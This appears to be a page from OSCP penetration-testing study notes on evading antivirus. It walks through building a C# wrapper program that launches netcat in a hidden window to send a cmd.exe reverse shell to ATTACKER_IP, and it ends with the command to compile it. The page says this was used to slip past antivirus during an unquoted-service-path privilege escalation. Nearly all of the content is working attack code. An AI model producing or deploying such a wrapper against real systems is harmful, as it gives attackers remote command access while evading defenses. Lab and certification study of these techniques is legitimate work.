> For the complete documentation index, see [llms.txt](https://oscp.adot8.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://oscp.adot8.com/post-exploitation/av-evasion/executable-obfuscation.md).

# Executable Obfuscation

{% hint style="info" %}
This technique was used to bypass AV while exploiting an [Unquoted Service Path](/windows-privilege-escalation/service-permissions/unquoted-service-paths.md)
{% endhint %}

Make an executable using C#

```csharp
using System;
using System.Diagnostics;
```

These lines give us access to basic system functions like start new processes (netcat)

```csharp
using System;
using System.Diagnostics;

namespace Wrapper{
    class Program{
        static void Main(){
            //Insert rest of code here!
        }
    }
}
```

This is for initializing a namespace and class for the program itself 

```csharp
using System;
using System.Diagnostics;

namespace Wrapper{
    class Program{
        static void Main(){
            Process proc = new Process();
            ProcessStartInfo procInfo = new ProcessStartInfo("c:\\windows\\temp\\nc.exe", "ATTACKER_IP ATTACKER_PORT -e cmd.exe");
        }
    }
}
```

This will start the new netcat process and set the parameters

```csharp
using System;
using System.Diagnostics;

namespace Wrapper{
    class Program{
        static void Main(){
            Process proc = new Process();
            ProcessStartInfo procInfo = new ProcessStartInfo("c:\\windows\\temp\\nc.exe", "ATTACKER_IP ATTACKER_PORT -e cmd.exe");
            procInfo.CreateNoWindow = true;
        }
    }
}
```

The next added line makes it **NOT** create a new window while starting

```csharp
using System;
using System.Diagnostics;

namespace Wrapper{
    class Program{
        static void Main(){
            Process proc = new Process();
            ProcessStartInfo procInfo = new ProcessStartInfo("c:\\windows\\temp\\nc.exe", "ATTACKER_IP ATTACKER_PORT -e cmd.exe");
            procInfo.CreateNoWindow = true;
            proc.StartInfo = procInfo;
            proc.Start();
        }
    }
}
```

The last added line will fire off the new process

Compile the source code

```
mcs wrapper.cs
```